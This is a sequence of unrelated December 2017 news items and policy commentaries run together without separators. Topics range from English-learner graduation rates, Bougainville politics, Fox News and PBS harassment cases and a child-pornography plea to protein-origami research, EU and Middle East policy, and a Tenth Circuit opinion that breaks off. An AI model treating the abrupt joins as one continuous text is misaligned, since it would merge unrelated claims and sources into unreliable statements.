Some English-learner students, especially those who first enroll in U.S. schools at the middle or high school levels, often take more time to earn diplomas. Those students, commonly known as long-term English-language learners , must learn English while meeting graduation requirements that demand a firm grasp of the language. Schools could soon have a better handle on who these students are and what they need to succeed. The new Every Student Succeeds Act requires states and districts to report on the number of ELLs who attended schools in districts for five years or more without being reclassified as proficient in English.

Differences in state policy make it tough for researchers to determine why the numbers are on the rise nationally , Lucrecia Santibanez, an associate professor of teaching, learning, and culture in the school of educational studies at Claremont Graduate University in California, told Education Week earlier this month.

Scholars and advocates also expressed concern that some states have lowered their graduation standards for ELLs, pushing students out the door who are unprepared to tackle college coursework or find jobs.

In 2018, Education Week plans to take a closer look at whats behind the numbers, including examining the strategies some states use to ensure that more English-learners earn high school diplomas . For now, heres a state-by-state look at the 2016 graduation rates:

Related Stories and Videos

Whats Behind the Rising Graduation Rates for English-Learners and Native American Students?

What High School Education Looks Like for the Nations English-Learners

For Stalled ELL Students, Graduation is Often an Elusive Goal

181217 Hon Momis Acknowledged Masius Support

By- Theresa Baranangko

The President for Bougainville Chief Dr John Momis has thanked the Member for South Bougainville for his contributions in sharing Bougainvillians dream of being free from the lack of service delivery.

The President said that such service delivery is long overdue which the ABG Government did not attend to because of inadequate financial assistance by the National Government. He said that under the constitution of Papua New Guinea, the National Government owes Bougainville so much.

However according to the wisdom of the people of Bougainville, during the recent JSB meeting, both Governments negotiated a compromised through which there will be financial assistance and service delivery for the people of Bougainville in the coming future, said Momis.

In his statement during the welcoming of the New Vessel, Mv Savita, at the Buka Wharf on Sunday 17th of December, the President acknowledged the input by the Member for South Bougainville which he described as timely as Bougainville is facing financial constraints.

Because of this, Bougainvillians are proud people, said Momis. We are proud because we have a bold ambition which is noble and does not contain greed or wanting to undermine other people. Our pride consist in the desire to liberate ourselves and empower ourselves to become agents of change and development said Momis.



Ends//






191217MOMIS HAPPY WITH JSB

By Aloysius Laukai



The ABG President, Chief DR.JOHN MOMIS has praised the outcome of the last Joint Supervisory Body meeting held in Port Moresby last week.

Speaking at the launch of the new South Bougainville workboat in Buka last Sunday, he said that the agreements made at the last JSB will support the initiatives of the ABG to make sure the Bougainville is well prepared for the Referendum scheduled for 2019.

He said that the National Government has approved to give a compromised funding to the ABG to fasttract ABGs Referendum readiness preparation.

The ABG President said that the Prime Minister has further agreed to release further funds to make sure Bougainville continues to work on projects that have been approved and on-going like the sealing of roads on Bougainville and Buka island.



Ends


191217TRUE NORTH EXCITES SHOW GOERS

By Aloysius Laukai



The SASALAN HIHIKUMA festival which is on the fifth day today got moral boosting by 36 visiting Tourists from Australia who attended the festival at Gogohe Primary School yesterday.

The tourists came onboard the Cruize Ship True North that arrived from Central Bougainville.

In welcoming the Tourists, Chairman of the Festival LAWRENCE BELLEH thanked the visitors for their visit and allowed them to take artifacts and pictures of the Festival activities.

According to one of the Team leaders on board the ship, they will come with two cruise ships next year for the Sasalan Hihikuma Festival.

The tourists told New Dawn FM that they were happy and wanted to see more of our diverse cultural activities.

The festival will continue until tomorrow for the official closing ceremony which includes the lowering of flags and fireworks.



Ends






Tamara Holder is not happy after 21st Century Fox chairman, Rupert Murdoch, has dismissed issues of sexual misconducts within the news company.

On Sunday night, the author and television commentator broke her silence to respond to the 86-year-old's statements regarding the numerous allegations of sexual misconduct made against prominent figures, including founder Roger Ailes and host Bill O'Reilly.

Life Ruined

In an interview with CNN's Reliable Sources, Holder recounted her own horror story while working as a contributor at Fox News. She also blasted Matt Damon who recently spoke about the on-going witch hunt for men with questionable pasts in Hollywood.

"Let me be clear. I had a man pull out his penis in his office and shove my head on it," Holder says in the video below. "That was not flirting, that was criminal. That was not sexual harassment, there we no gray areas or whatever Matt Damon recently said. This is criminal and I'm not the only case. There are women that can't speak out."

Holder's allegations of sexual harassment led to the firing of Francisco Cortes, the vice president of Fox News Latino.

The TV personality also revealed how her life was changed after she was sexually assaulted. She said she had to get treatment for PTSD. Moreover, she and fellow victims are still finding it difficult to find work, particularly because they signed settlement agreements that bar them from seeking work with Fox.

Holder's statement against Murdoch on CNN could be a violation of said settlement agreement, but a lawyer explains to Deadline that Holder is allowed to speak out if she feels disparaged or maligned.

"I would not be here if it wasn't for what Mr. Murdoch said," she stated.

After Rupert Murdoch dismisses Fox scandals as "all nonsense," former Fox News contributor @tamaraholder says the network "ruined people's lives," and "allowed abusive predators to prey on women who just wanted to work" https://t.co/TcDkGVxct8  Reliable Sources (@ReliableSources) December 17, 2017

Fox News' Statement

After the outrage resulting from the dismissive comments made by Murdoch, Fox has released a statement. A representative of the company explained that their chairman was responding to the question of how the allegations affected the company, not debating the validity of the complaints made by former and current employees.

"Rupert never characterized the sexual harassment matters at Fox News as 'non-sense,'" the representative said. Moreover, the representative added that the company was able to compensate victims of sexual harassment and restructured the company under Murdoch.

The news network received backlash after Murdoch's interview. Former and current employees also commented about the controversial statements made by the company executive.
Jay-Z gave one brave fan quite the experience during a concert in support of his 4:44 tour. He noticed the fan in the huge crowd thanks to a sign that caught his attention.

Jay-Z Has A Heart Of Gold

Its safe to say this wasnt the only sign in the audience at the concert held at Oracle Arena Saturday evening in Oakland, California. Still, Jay-Z couldnt help but notice it and the woman holding it. The sign read, I Beat Cancer 2X 2 C U! I LOVE U!!!

The woman asked for either a selfie or a hug from the iconic rapper. He stopped his concert to give her something better. He told the woman, You beat cancer twice I gotta give you at least a hug.

He let her come on stage with him for the unforgettable moment. The two went as far as having a quick conversation as well. The woman, who was later identified as Christina Cruz, also took to her own Instagram to thank the rapper for the love.

Cruz shared snapshots from her spotlight moment and added the caption, I cant believe he pulled me on stage and I got to hug him not once but twice!!! Truly a dream come true!! Thank you Jay-Z!!!! She also changed her profile photo to her and Jay-Z.

Passing On His Compassion

While Jay-Z is known for his catchy and socially-conscious lyrics, he has also been saluted for his love for others. He said during an interview with The New York Times that he hopes to pass on this trait to his children.

Its just certain tools that you would hope for your child to have, said Jay-Z in the interview recently. You know, like, again, fairness and compassion and empathy and a loving heart.

He said those traits and aspects are the things that are more impactful, despite the billionaire status he and his wife, Beyonce, have earned throughout their careers. He said he hopes that his three children (Blue Ivy Carter and twins Rumi and Sir Carter who the couple welcomed this past summer) will treat others with fairness and justice no matter their status or social/class level.

He added that he aims to show his children the same type of affection so they will be inspired to do the same for others. He reiterated that its the intangible things that are the most important in life.

Be sure to keep up with Enstars for the latest on your favorite celebrities.
Last week, Wednesday, Dec. 13, 2017, news broke that PBS suspended Tavis Smiley due to sexual harassment allegations.

In an exclusive obtained by Variety, it was reported that the talk show host was being investigated by a law firm hired by the public broadcasting channel.

"This investigation included interviews with witnesses as well as with Mr. Smiley. The inquiry uncovered multiple, credible allegations of conduct that is inconsistent with the values and standards of PBS, and the totality of this information led to todays decision," PBS said in a statement.

Smiley Sounds Off

Smiley responded to the news via his Facebook page, citing that the allegations were not true because he has the "utmost respect for women."

"I have the utmost respect for women and celebrate the courage of those who have come forth to tell their truth. To be clear, I have never groped, coerced, or exposed myself inappropriately to any workplace colleague in my entire broadcast career, covering 6 networks over 30 years," Smiley wrote on the social media platform.

"PBS launched a so-called investigation of me without ever informing me. I learned of the investigation when former staffers started contacting me to share the uncomfortable experience of receiving a phone call from a stranger asking whether, I had ever done anything to make them uncomfortable, and if they could provide other names of persons to call. After 14 seasons, thats how I learned of this inquiry, from the streets. Only after being threatened with a lawsuit, did PBS investigators reluctantly agree to interview me for three hours."

The Good Morning America Interview

To further clear his name, Smiley decided to do an exclusive interview with ABC's Good Morning America (GMA). During the interview, Smiley described the type of work environment he created for those assisting with production and administrative duties. Despite his intention to appear innocent, Smiley's answers made him and his work behavior appear questionable.

The 53-year-old revealed during his sit-down that he never coerced any female staffer to be with him sexually. However, he did admit to having several romantic relationships with women he's worked with over the years. "I certainly understand people can have a viewpoint any consensual relationship in the workplace is wrong ... but there are also other points of view on this," he shared.

"While we don't encourage [them] ... we don't forbid them," he said, speaking about the production set climate on his show.

Smiley even gave an example of when he told a prospective employee that he would rather date than hire her. He says that was one mistake he made during his tenure at PBS.

He also added that he thinks the women who have come forward against him are "brave" and he celebrates them. Though, Smiley thinks their intention to do so has nothing to do with him and everything to do with the recent climate of women coming forward to share their stories of sexual misconduct in the workplace, alluding that their allegations are just a part of a trend.

After watching his interview on GMA, PBS issued a statement based on the information Smiley shared.

"First, today on 'Good Morning America,' Mr. Smiley acknowledged he has had multiple sexual encounters with his employees, then struggled to recall the number of current employees with whom he has had sex. This contradicts his Facebook post from last week, where he cited only one previous relationship with an employee. Mr. Smiley even told viewers, 'I don't know where your heart's going to lead you.' PBS is certain that it should not lead to multiple sexual relationships between the owner of a company and subordinates over many years, particularly where employment decisions may be linked to sex," it read.

"Second, Mr. Smiley claims he applauds women who have come forward, yet his company requires former and current employees to sign nondisclosure agreements. Witnesses who have bravely come forward to speak with the independent investigators retained by PBS report a fear of retribution for speaking out," PBS noted of Smiley's contradiction.

"In contrast, PBS has been consistent: PBS stands by the integrity of its investigation, which has been conducted by an outside firm with expertise in such matters. Mr. Smiley's own words today, coupled with the information discovered during the investigation, confirms PBS' decision to indefinitely suspend the distribution of 'Tavis Smiley.'"

PBS was not the only one to sound off about Smiley's interview. Twitter users had a field day pointing out the inconsistencies Smiley provided in his interview and Facebook video.

Tavis Smiley admits to consensual sexual relationships for people who worked for him. Says one person is still on his staff. @GMA  T.J. Holmes (@tjholmes) December 18, 2017

Tavis Smiley says employee handbook for his company doesn't forbid relationship between employees because "I don't know where your heart's going to lead you." @GMA  T.J. Holmes (@tjholmes) December 18, 2017

Scenes from the "Omarosa and Tavis Smiley Got Fired On The Same Day" party pic.twitter.com/9HVuY1morP  Ragnarok Lobster (@eclecticbrotha) December 15, 2017

my favorite tavis smiley story is the one where he pledged $1 million to Texas Southern University, never donated or raised the money, and the school eventually took his name off its communication school. https://t.co/6lveRJfmOh  Joel D. Anderson (@byjoelanderson) December 17, 2017

I like how Tavis Smiley spends six minutes trying to explain hes not a sexual harasser, just the sequel to Boomerang only to end things with an anecdote that presumably gave PBS the biggest smile.pic.twitter.com/Z3hS20YgJz  Michael Arceneaux (@youngsinick) December 18, 2017

The Cornel West essay I want is him addressing the sexual abuse allegations against his former bedfellow, Tavis Smiley  Jasmine Sha-Ree Sanders (@JasMoneyRecords) December 17, 2017

Watch Tavis Smiley's full interview:

Somewhere, someplace, Former President Obama who Smiley consistently ridiculed is shaking his head like this:

via GIPHY
For those that have always wanted to order the Burger of the Day from the chalkboard at Bob's Burgers, the Burger Gods have granted everyone's wish!

Starting Monday, Dec. 18, fans of the series can pick up a burger from the pop-up menu in New York City (NYC). The pop-up will arrive at Chefs Club Counter and will be filled with Burger of the Day specials inspired by the hit cartoon show.

For those who don't know, Bob's Burgers is a FOX sitcom. The series focuses on a restaurateur who tries to keep the grill sizzling while dealing with his wife, three children, and consistent harassment from a health inspector, which is his wife's ex.

The pop-up previously appeared at unit 120 in Los Angeles, but now it's making its debut in NYC.

The grub will come straight from Chef Alvin Cailan, who's responsible for the Eggslut sandwiches found at this same location earlier this year.
Chris Farley died 20 years ago.

The beloved comedian who rose to fame as a member of the sketch show, Saturday Night Live, and starred in several movies including Beverly Hills Ninja, passed away on Dec. 18, 1997, at the age of 33.

He was found dead from an accidental drug overdose inside his apartment in Chicago. After two decades, his friend and fellow comedian, David Spade, remembers Farley with a simple tribute.

20 years ago today. pic.twitter.com/01TzKrelLT  David Spade (@DavidSpade) December 18, 2017

Farley and Spade were both graduates of Saturday Night Live. They were on the show in the early 90s. The two also starred in Tommy Boy and Black Sheep.

Actor Kevin Farley also commemorated the death anniversary of his brother on social media. On a tweet, the The Paranormal Movie star attached an article celebrating how, two decades after his death, fans still respond to Farley's comedy.

Frozen and Beauty and the Beast star, Josh Gad, also remembered Farley on the day of his 20th death anniversary.

20 years later and it still hurts. Nobody has ever made me laugh harder. #ChrisFarley pic.twitter.com/2uJ3a3PZCH  Josh Gad (@joshgad) December 18, 2017

20 yrs ago I was shooting a funeral scene with @Imkevinfarley when i picked up my phone "I'm sorry about Chris." I hung up & went to find Kevin because I knew..RIP Chris Farley. My friend, my best man & fellow addict. Your legacy is your work & wonderful family. I love you Chris.  Tom Arnold (@TomArnold) December 18, 2017

Chris Farley passed away 20 years ago today. He was as brilliant as he was kind.  Will Sasso (@WillSasso) December 18, 2017

This classic clip of Chris Farley picking up chicks at the mall will have you in tears. A comedic icon, gone too soon. #RIPChrisFarley pic.twitter.com/FDkj7ZUDEP  Matt (@mattwhitlockPM) December 18, 2017

Moreover, other social media users chimed in. Comments about Farley's lasting legacy started to pour on Twitter.

Chris Farley I absolutely love you and will always remember all the laughter you provided me. pic.twitter.com/GXpevktM3S  Chris Skinner (@cskinner1789) December 18, 2017

Lasting Friendship

Spade and Farley met in the 90s when Farley started a successful comedy career as a cast on Saturday Night Live. In an interview with Today in 2015, Spade recalled his friend's reaction upon arriving in New York City.

"So we walked to work, and [he said], 'There's a McDonald's here, too? There's one in Wisconsin,'" Spade said. "He was like Wisconsin Dundee. He didn't know anything. When he'd go to the ATM, he'd only take out like $10 at a time. I was like, 'Pick it up guy. I don't want to go every 6 minutes!'"

Farley was born in Madison, Wisconsin. He joined Saturday Night Live around the same time that fellow comedian, Chris Rock, did. He often collaborated with Spade, Rock, Rob Schneider, and Adam Sandler.

Spade also described Farley as a total sweetheart, a man who was immediately nice and funny, and someone he loved to tease.

"I just made fun of him," the Grown Ups actor added. "We always laughed. We were like an old married couple  except we slept in the same bed."

They have remained friends since then.

Spade regularly posts photos of Farley on social media. Earlier this year, he published a throwback photo of his friend on Instagram to celebrate his birthday on Feb. 16. The late actor/comedian would have been 53 years old.
Former Glee actor Mark Salling pleaded guilty to a possession of child pornography charge in a Los Angeles federal court on Monday, Dec. 18.

Salling was charged with possession of child pornography involving prepubescent children.

In December 2015, police conducted a raid at his home after being tipped off by his girlfriend and arrested the actor after they found several child pornography videos and images on electronic devices in his home.

Salling's Plea Deal With Prosecutors

The actor, who played the jock Noah "Puck" Puckerman on the hit Fox show from 2009 through 2015, signed a plea deal with prosecutors in October. The agreement grants him a more lenient sentence in exchange for his admission of guilt.

The plea agreement states that investigators recovered more than 25,000 images and 600 videos of pornography involving young children from the 35-year-old star's computer and thumb drive. Some of the pornography in Salling's possession featured children as young as three years old being abused, according to court documents.

"Mark is focused on accepting responsibility and attempting to atone for his conduct," Salling's attorney Michael Proctor said in a statement obtained by People.

Plea Agreement Conditions

Salling's sentencing has been scheduled for March 7 and because of his admission of guilt, prosecutors will ask the judge to grant him a lighter sentence. Salling could still be facing a sentence of four to seven years behind bars after pleading guilty to the charge.

The other conditions of the plea deal are that Salling will have to register as a sex offender and check himself into a rehabilitation program. He is also prohibited from verbally or electronically communicating with anyone aged under the age of 18; maintain a 100-feet distance from schools, parks, public swimming pools, youth centers, playgrounds, and arcades; and pay each victim $50,000 as compensation.

Salling's Rape Accusations

This isn't Salling's first run-in with the law. In 2013, a woman accused the actor of sexual battery by forcing sex without a condom. The woman, Roxanne Gorzela, alleged that while they were dating in 2011, she consented to have sex with Salling but only on the condition that he used a condom.

Gorzela claimed that the actor completely ignored her demand and proceeded with sexual intercourse with her without a condom.

Last year, Salling was accused of raping another 22-year-old woman in 2012 after getting her drunk. However, The Los Angeles County District Attorney decided not to charge the actor with rape due to lack of evidence and a delay in the crime being reported.
Ocean's 8 has dropped its first official trailer. The film stars Sandra Bullock as Debbie Ocean, Danny Ocean's (George Clooney) sister.

Debbie Ocean Is Free

Viewers first meet Debbie Ocean in an unidentified prison where she faces the parole board. Ocean apologizes for her crime and vowed that she wants to "pursue the simple life." As Ocean tells the unseen parole officer what they want to hear, brief facial shots off Ocean's partners flash across the screen.

The preview cuts to a New York City restaurant where Ocean meets with her right-hand woman, Lou (Cate Blanchett) and they talk about the possibility of pulling off a major heist.

"Why do you want to do this?" asked Lou.

"Cause it is what I am good at," replied Debbie.

The Recruitment Drive

The women travel across New York City to look for their perfect crew. Ocean recruits jewelry designer Amita (Mindy Kaling) who is also looking to being free from her mother's influence.

Next, they find sarcastic hacker Eight Ball (Rihanna) and fashion designer Rose (Helena Bonham Carter), who is suffering under hard times until Lou entices her to join their cause.

"What if we could make this all go away?" said Lou.

Ocean and Lou capture Constance (Awkwafina) after she steals their watches. Meanwhile, Ocean personally visits stay-at-home mom Tammy (Sarah Paulson), who is hesitant to join them. However, when Ocean whispers the target of her heist in her ear, she promptly says goodbye to her son.

The Met Heist

Once all of the women have gathered, Ocean reveals her scheme to them. Ocean plans to target Daphne Kluger (Anne Hathaway) who owns a diamond necklace that is worth $100 million at the Metropolitan Museum of Art's Met Ball.

Ocean also set her sights on an unknown man that broke her heart. However, Lou advised her friend not to go after him.

"Do not run a job in a job," forewarned Lou.

Just like in the teaser trailer, the Ocean's 8 official trailer features Debbie drinking a martini at a mausoleum. Ocean is looking at a plague with Danny Ocean's name and death date on it.

'Ocean's Eleven' Connections

While the trailer did not show any character that starred in the previous Ocean's films, fans might already know that Matt Damon is expected to reprise his role as Linus Caldwell in a cameo for the film. However, it is unknown if Damon's Linus Caldwell is going to help the women pull off this heist.

Another familiar player in the franchise, Steven Soderbergh, who directed Ocean's trilogy, will co-produce the spin-off movie.

Ocean's 8 is expected to be released on June 8, 2018.
- T. S. Eliot

Thoughts After Lambeth

"The World is trying the experiment of attempting to form a civilized but non-Christian mentality. The experiment will fail; but we must be very patient in awaiting its collapse; meanwhile redeeming the time: so that the Faith may be preserved alive through the dark ages before us; to renew and rebuild civilization, and save the World from suicide."
Protein cages based on coiled coil units can self-assemble in bacteria and mammalian cells. A tetrahedron, rectangular pyramid and trigonal prism cages of 5 to 10 nm diameters were designed. The prism, composed of more than 700 amino acid residues, represents the largest single-chain designed protein. Potential applications include drug delivery, vaccines, enzyme encapsulation, smart biomaterials, biosensors and molecular machines.

Proteins are natures nanomachines performing key processes necessary to sustain life, such as catalysis of chemical reactions, transportation of oxygen in our blood and molecular recognition. Proteins also provide structural support, for example in the form of microtubules, actin filaments, intermediary filaments and collagen fibres. Proteins are built as a linear chain of amino acids, which encodes information about the 3D structure. Before proteins can do their jobs, they must first fold into the correct 3D structure. Understanding the relationship between the sequence, 3D structure and function of proteins is one of the key challenges of protein research. The problem is not only of academic interest but also of great technological importance as designed proteins could be used to build new nanomaterials, transport vessels and therapeutic agents such as improved vaccines, cancer therapeutics and flu inhibitors. However, designing novel proteins is far from trivial. Twenty different amino acids appear in proteins, making the number of possible amino acid sequences almost infinite. For peptides with 8 amino acids, there are four times as many possible sequences as there are people on earth. For proteins of length 64, there are more possible sequences than the estimated number of all atoms in the known universe!

Scientist from the Department of Synthetic Biology and Immunology at the National Institute of Chemistry in Ljubljana, Slovenia have found an alternative solution to the protein-folding puzzle. They have invented a method to design protein cages of any selected shape that can self-assemble in living organisms. Their approach was based on previous work that included the design of a single-chain polypeptide tetrahedron assembled from coiled-coil segments [1]. The method was named coiled-coil protein origami (CCPO), since it was inspired by DNA origami, a technique that involves folding a long DNA strand into the desired shape by multiple short complementary DNA staples [2].

The key insight of CCPO was to use coiled-coils as building blocks. Coiled-coils are natural protein binding motifs that can be designed so that only the specific pairs form in solution. In this way, a toolbox has been created of coiled-coil building modules with simple and modular binding rules.

To construct larger structures, the coiled-coils have to be connected together in a longer chain. The scientists, assisted by the mathematician Tomaz Pisanski, solved the folding problem in a way that can be likened to the construction of a pyramid from a single piece of rope (Figure 1). They identified a path for the protein chain that passes over each side of the pyramid exactly twice. This path determines the order in which the halves of the coiled-coils have to be connected along the chain. Instructions for this strategy are available in an open-source program CoCoPOD [3].

Figure 1. Design of coiled-coil protein origami. A target shape is chosen, in this case a pyramid. Then a double circular path is found that passes every side exactly twice, setting the order of coiled-coil pairs.

Over 20 variants of CCPO cages have been designed and characterised. Several tetrahedra, two square pyramids and a triangular prism were designed and produced in bacteria. The triangular prism at more than 700 amino-acids represents the largest de novo designed single chain protein so far. The cages correctly self-assemble in bacteria, mammalian cells and live mice, without causing unwanted side effects. The structures of the cages were confirmed using a variety of experimental techniques including small-angle X-ray scattering at beamline BM29 and electron microscopy and they agree well with the designed scaffolds (Figure 2).

Figure 2. Designed and determined structures. The designed structures (top) match very well with structures determined from electron microscopy and SAXS modelling (bottom).

The research was highly interdisciplinary, employing a wide range of techniques, from molecular and structural biology to immunology and even mathematics.

A multitude of potential applications have been envisioned: active substances could be packed inside the cages, leading to novel cargo delivery vehicles. For example, toxins could be encapsulated and the cages used to deliver the toxins only to cancer cells. Additionally, more efficient vaccines could be created, by placing antigens at the vertices of the cages. Future projects include the creation of cages that can open and close in response to external stimuli, such as light or pH, leading to the development of smart nanomaterials and biosensors and perhaps novel molecular machines.

Principal publication and authors

Design of coiled-coil protein-origami cages that self-assemble in vitro and in vivo, A. Ljubetic (a) , F. Lapenta (a,b), H. Gradisar (a,c), I. Drobnak (a), J. Aupic (a,d), Z. Strmsek (a), D. Lainscek (a), I. Hafner-Bratkovic (a,c), A. Majerle (a), N. Krivec (a), M. Bencina (a), T. Pisanski (e), T. Cirkovic Velickovic (f), A. Round (g,h), J. Maria Carazo (i), R. Melero (i) and R. Jerala (a,c), Nat Biotechnol. 35, 1094-1101 (2017); doi: 10.1038/nbt.3994.

(a) Department of Synthetic Biology and Immunology, National Institute of Chemistry, Ljubljana (Slovenia)

(b) Graduate School of Biomedicine, University of Ljubljana (Slovenia)

(c) EN-FIST Centre of Excellence, Ljubljana (Slovenia)

(d) Doctoral Study Programme in Chemical Sciences, University of Ljubljana (Slovenia)

(e) FAMINT, University of Primorska, Koper and Institute of Mathematics and Physics, Ljubljana (Slovenia)

(f) Center of Excellence for Molecular Food Sciences, Faculty of Chemistry, University of Belgrade (Serbia)

(g) ESRF

(h) School of Chemical and Physical Sciences, Keele Univerity (UK)

(i) Centro Nacional de Biotecnologia (CNB-CSIC), Madrid (Spain)

References

[1] H. Gradisar et al., Nature Chemical Biology 9, 362366 (2013); doi: 10.1038/nchembio.1248.

[2] P.W.K. Rothemund, Nature 440, 297302 (2006); doi: 10.1038/nature04586.

[3] CoCoPOD: https://github.com/NIC-SBI/CC_protein_origami.

Acknowledgements

This project was funded by the Slovenian Research Agency, ERANET project Bioorigami, MSCA project Tollerant and a grant from ICGEB.
In the past few weeks, there have been rumors of PetroChina and Sinopec acquiring a share in the Saudi energy giant Aramco. The two Chinese companies owned by a public consortium are looking to buy between 5% and 10% of the Saudi state-run company. The transaction is poised to represent a new step of Beijing in its quest for solutions for Chinas great energy supply problem. It would also take place alongside the purchase of around 15% of the Russian Rosneft by CEFC China Energy. These moves would consolidate Beijings position in the Middle East at the very moment when the United States is taking a step back and raise some concerns regarding the long-term process during which China is rising to assume the position of a superpower in the current unipolar system.

To this point, Chinese foreign policy has been characterized by the peaceful rise strategy, based on a principle of prudence to avoid confrontation with the hegemonic superpower and other actors in the international community. Chinas CCPs party-liner thought holds that the country must grow while refraining from any behavior similar to that of the European colonial powers. Any alternative would be a paradox in the context of Beijings Third World-leadership narrative and its defense of the pacific coexistence principles.

Yet, this legacy of colonialism takes out of the equation a fundamental element of its origins. It is true that the terrible condition of the colonial system was connected to the ideas of racial hierarchies and religious and civilizational proselytism. The obsessive-compulsive extractive exploitation syndrome of many countries was critical. But in reality, colonialism can only be fathomed by the will of some states to protect private commercial interests obtained before the using of the first dress coats and muskets. In some cases, the imperialist drift was born in the zeal of helping non-public interests in front of prejudicial situation.

But this raises some crucial questions: Will China be able to sit calmly amidst the events taking place in the Persian Gulf? What will it decide to do if the defense of its interests were to become incompatible with the non-interference principle and the bases of peaceful coexistence? Will it be ready to stand idly by if those are at stake and regime changes?

The reasons why Beijing could make a move and change its course of action, and start intervening more regularly and forcefully in the affairs of other states, may not necessarily be constructed around old-fashion reasoning of mission civilisatrice. It is also likely that colonial behaviors will be the outcome of conceptions presented as protective and defensive acts before uncertainties and threats of change. Absurdly, the fact that the Chinese government is asking itself these questions demonstrates its arrival to the status of the worlds superpower.

Forced Into Empire?: China, Aramco and the Peaceful Rise in the Middle East  Opinion by Jordi Quero Arias  Barcelona Centre for International Affairs.

(The Opinion can be downloaded here)
The terrorist attack on a Sufi mosque in the North Sinai village of Rawda in Egypt some three weeks ago, on 24 November, was a shocking event that left more than 300 people dead. The carefully planned attack committed by 40 gunmen marked a turning point in Jihadist extremism for its attack on the mystical branch of Islam  Sufism  but also highlighted the extraordinary ineffectiveness of the Egyptian authorities to counter terror in the country.

Despite the heavy military presence in the region, the perpetrators were able to organize a complex attack on the worshippers inside and outside the mosque, execute many of the wounded and ambush emergency vehicles that arrived on the scene. According to eyewitnesses, the attack continued for more than 20 minutes after security forces had arrived. Egyptian security forces regularly praise themselves for keeping the ISIS Sinai branch  Sinai Province  in check but this attack demonstrated their own incapability and vulnerability.

Sinai Province is estimated to have about a thousand ISIS members despite the heavy deployment of Egyptian forces in the peninsula. The army claims to have killed three thousand of the branchs fighters during the time when the group had been active, yet there is no discernable impact on the jihadists very ability to function. The Rawda massacre showed that carnage like this can be conducted in broad daylight with little obstacle.

The response of Egyptian President Sisi was predictable  a vow of revenge against the perpetrators and a promise to restore security and stability with the utmost force. Yet a lack of force has not been an issue in Egypts approach to North Sinai so far. There is evidence of indiscriminate round-ups, the razing of entire villages, and extrajudicial execution of suspected militants. Instead, what is Egypts strategy missing is a solid use of intelligence and local knowledge to precisely target Sinai Provinces ISIS members.

Egypt has the potential of becoming a constructive partner for the West in its fight against terror but EU and US authorities are experiencing a frustrating relationship with Cairo. They say that their Egyptian counterparts show no interest in developing a holistic counterinsurgency approach or obtaining equipment relevant to such endeavor. Instead, the Egyptian army prefers to spend its efforts on visible, big-ticket items such as purchases of fighter jets, aircraft carriers and tanks. Egypts security forces used warplanes after the Rawda attack to destroy what it claimed were the vehicles used to carry out the massacre.

Such an approach to fighting terrorism is very distant to anything that the European Union would recognize as an effective strategy. Egypts overly broad definition of terrorism coupled with its ongoing violations of human rights and the pursuit of a bluntly destructive response, Cairo still has miles to go to become a go-to partner against religious extremists for Western countries. Yet, without a fundamental change in Egypts approach, the EU and its member states should tame both their expectations and rhetorical endorsement of Cairos misguided counterterrorism approach.

Egypts Counterterrorism Strategy: The Missing Element  Commentary by Anthony Dworkin  European Council on Foreign Relations (ECFR).

(The Commentary can be downloaded here)
EU leaders are getting ready for difficult talks on migration starting in January when heads of states debate new measures to curb illegal migration. The EU Commission and European Council seek to safeguard the situation by making sure that there would be no divide among member states. Disagreements about the issue are still persistent with EU leaders having made clear at the recent EU summit that migration would be on the agenda at the next three European Council meetings.

At the February summit, leaders will discuss proposals to create a new financial instrument meant to decrease the number of migrants who arrive in Europe illegally. They will specifically talk about the reform of the Dublin system and whether to keep mandatory quotas for relocating refugees from Italy and Greece throughout the bloc. European Council President Donald Tusk confirmed that the leaders should discuss how to create a new dedicated financial instrument that would be a key priority in the multiannual financial framework. He described their responses to his proposal as univocally positive. The Commission is readying to release its proposals for the post-2020 multi-year EU budget next spring.

However, President Tusk was honest in saying that a compromise can be a very challenging given the internal divisions on the issue of migration between the 28 heads of state, with the mandatory quotas being the most problematic part. Several leaders said their discussions over the quotas were contentious. Mr. Tusk wants heads of states to use a summit next June to make the first decisions on the reforms. Finding consensus appears very hard but we have to try our very best, he admitted.
French President Emmanuel Macron and German Chancellor Angela Merkel said that they would support using Article 7 against Poland if the European Commission decides in its favor next week. The two leaders, however, also said that they were hoping that the countrys new Prime Minister Mateusz Morawiecki would do whatever it takes to avoid the sanctions through an open dialogue with the EU.

Yet, it was Polands new prime minister who said he expected that the EU would impose unprecedented sanctions on his country following its controversial changes to the judiciary. Polands right wing Law and Justice (PiS) party began making court reforms after it came to power in 2015, insisting that the courts need an overhaul to get rid of its communist legacy and fight corruption. However, Brussels has repeatedly warned Warsaw that the reforms pose a threat to democracy and the rule of law, which all member states signed up to when they joined the EU.

Article 7 of the Lisbon Treaty is sometimes called the nuclear option and it has never been used. It was designed to protect the EUs core values such as democracy, freedom, human rights and the rule of law. If the EU witnesses a serious and persistent breach of these principles, it can activate Article 7 and suspend some of the EU membership rights, such as voting in the EU Council or access to the single market.

As an infringement procedure to be used against member countries that have committed fundamental rights violations, Article 7 was introduced to reassure skeptics when the EU wanted to expand to the east. In the late 1990s, some EU member states warned that such violations could likely occur in the young post-Communist democracies.
United States Court of Appeals, Tenth Circuit. UNITED STATES of America, Plaintiff-Appellee, v. Stephen D. BAGLEY, Defendant-Appellant. No. 16-3305 Decided: December 18, 2017

Before BACHARACH, McKAY, and MURPHY, Circuit Judges. Clinton W. Lee, Lansing, Kansas, for Defendant-Appellant. James A. Brown, Assistant United States Attorney (Thomas E. Beall, United States Attorney, with him on the briefs), District of Kansas, Topeka, Kansas, for Plaintiff-Appellee.

This appeal involves a protective sweep of a house incident to the arrest of one of its occupants, Mr. Stephen Bagley. Our precedents limit protective sweeps to the area immediately adjacent to the place of arrest in the absence of specific, articulable information that a dangerous person remains in the house. In this case, law enforcement officials conducted a protective sweep of the entire house without any information suggesting that someone else remained inside.

The protective sweep yielded items that allowed law enforcement officials to obtain a search warrant for the entire house. Executing this warrant, officials found incriminating evidence. Mr. Bagley moved to suppress the evidence, arguing that the protective sweep had gone too far. The district court denied the motion. We reverse because the protective sweep was not permissible under the Fourth Amendment.

I. Law enforcement officials conducted a protective sweep.

Mr. Bagley is a convicted felon who was named in an arrest warrant for violating the terms of his supervised release. To execute this arrest warrant, Deputy U.S. Marshals obtained a search warrant allowing entry into a house solely to locate and arrest Mr. Bagley. Deputy marshals came to the house to execute the warrant. When they arrived, Mr. Bagley was allegedly in the southeast bedroom. He eventually surrendered and was handcuffed near the front door.

